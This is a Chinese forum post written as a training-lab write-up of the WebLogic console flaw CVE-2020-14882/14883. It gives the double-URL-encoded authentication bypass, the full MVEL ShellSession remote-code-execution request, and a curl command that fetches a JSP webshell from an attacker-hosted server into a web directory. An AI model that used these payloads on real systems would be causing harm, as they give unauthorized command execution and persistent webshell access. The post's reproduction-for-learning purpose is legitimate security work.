Weblogic Console HTTP协议远程代码执行漏洞复现(CVE-2020-14882,3)

xiao_yi   ·   发表于 2021-02-08 10:04:07   ·   漏洞文章

PS:第一次写文章,混点金币哈哈哈

0x01 信息收集

打开靶场地址,看到404页面不要慌张,先进行信息收集!

image.png

由于是靶场,就进行目录扫描,就不用进行子域名爆破了~

利用dirsearch进行爆破:

python3 dirsearch/dirsearch.py -u "http://172.23.26.66:7001/" -e \*

image.png

先访问200页面发现全是空页面,再尝试访问302重定向后的页面,发现了新天地!

image.png

发现这是一个WebLogic, 并且有版本号,此时只用百度一下,就发现了该版本存在多个漏洞,最后我将它定位在 CVE-2020-14882

0x02 复现

在读完博客中大佬对该漏洞的复现之后,尝试自己进行复现并拿到webshell。

0#01 权限漏洞绕过

在最初的这个页面,是需要账号和用户名登录才可以进入后台,但是这里可以进行目录的骚操作来进行直接无密码登录后台。

  1. http://172.23.26.66:7001/console/css/../console.portal

这条构造的url表示由于 ../在目录中表示返回上一级目录, 即console这个目录,然后访问该目录下的后台文件

image.png

但是运行结果并不像我们像的那样, 还是被重定向到登陆页面

这里就需要一些小技巧进行绕过,用burp的url编码功能对../进行编码

  1. http://172.23.26.66:7001/console/images/%2E%2E%2Fconsole.portal

结果还是被重定向了

将大写换成小写

http://172.23.26.66:7001/console/images/%2e%2e%2fconsole.portal无果

再进行一次url编码

  1. http://172.23.26.66:7001/console/images/%252e%252e%252fconsole.portal

image.png

成功进入后台!

0#02 手工提交利用

此漏洞有多种利用方式,这里先赘述一下利用burp进行getshell

利用 GET传参 test_handle传入下面POC

  1. test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')

并且传入cmd传参,如下所示,可以进行任意命令执行

image.png

下面就该写一句话木马并且getshell了

首先就是找到我们可以访问的目录

博客上说 http://ip:port/console/images目录下是可以访问的,我们不妨试试

image.png

进入这个目录里,尝试访问里面的图片

image.png

尝试用echo命令写入木马

image.png

成功写入木马,尝试连接会发现这里被weblogic的一些保护机制拦截了,无法访问

image.png

接着只有找其他可以访问的目录写入木马,但是我尝试了大概2个多小时,没有发现可用目录,直到问了瑶瑶大佬才知道可以通过静态文件的方法快速准确的定位到可以访问的目录。

image.png

下面是切换到可利用目录下的POC包:

  1. GET /console/images/%252e%252e%252fconsole.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
  2. Host: 172.23.26.66:7001
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. cmd:pwd && cd ../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images && ls
  9. Accept-Language: zh,zh-CN;q=0.9
  10. Cookie: ADMINCONSOLESESSION=PG17Me6B3wrPxplUyKb0gzMERhT9gngwklINhVX9j92co34qeEkp!336989877
  11. Connection: close

很快便锁定了这个目录,并且用同样的代码执行将木马写入,但是这里又遇到了问题,利用echo写入的木马用冰蝎无法获取到密钥,连接失败……

QQ图片20210207151505.png

又请教了瑶瑶大佬,他教我用curl将木马写入!!!~

首先你需要一台有公网ip的服务器,并且装有python或者apache等web环境,这里利用的是python的httpserver服务进行文件共享。

第一步:先将木马文件放在服务器的目录里,并运行cmd命令,由于网上都是Liunx的环境,但条件简陋我利用的是windows server 2012

image.png

在该目录下运行cmd命令,调用httpserver服务

  1. python -m http.server 5000

image.png

开启之后要注意检查物理机能否访问该文件夹,若nmap扫描结果为filter,检查一下自己服务器的安全组是否开启了对应的端口

<img src="https://cdn.nlark.com/yuque/0/2021/png/2540809/1612682565714-fc100e63-0faf-47d5-b101-ceaa76b57f78.png" alt="QQ图片20210207152234.png" style="zoom: 150%;" />

这里的8000理解为上面对应的5000端口即可,准备就绪,准备上马~

将burp里的命令改为curl写入:

  1. cmd:pwd && cd ../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images && curl http://ip:5000/shell.jsp > xiaoyi.jsp

最后尝试冰蝎连接

image.png

连接成功,拿到webshell!~

0x03 学院靶场复现过程

0#01 信息收集

同样和上文一样使用dirsearch目录扫描,可以定位到302跳转后的网址

0#02 贴POC

通过上述两次url编码绕过后,利用burp抓包,将包改为如下POC:

  1. GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
  2. Host: weblogic.vdb.aqlab.cn
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. cmd:pwd&&cd ../../../wlserver/server&&ls

0#03 获得flag

0x03 总结

通过此次漏洞的复现,学会了准确快速的定位到用户可以访问的目录,学会了利用curl 的方式写入文件,同时学会了利用冰蝎,python多种工具~

该漏洞还可以利用反弹shell的方式,但我发现我没有linux服务器,不好测试,等啥时候俺有钱了一定把复现步骤补上!~

用户名金币积分时间理由
奖励系统 50.00 0 2021-02-26 11:11:38 投稿满 5 赞奖励
veek 150.00 0 2021-02-08 14:02:54 鼓励原创~
veek 100.00 0 2021-02-08 14:02:45 初投稿奖励~

打赏我,让我更有动力~

2 条回复   |  直到 2021-2-18 | 1887 次浏览

sunsky666
发表于 2021-2-9

大佬

评论列表

  • 加载数据中...

编写评论内容

星菏
发表于 2021-2-18

大佬

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.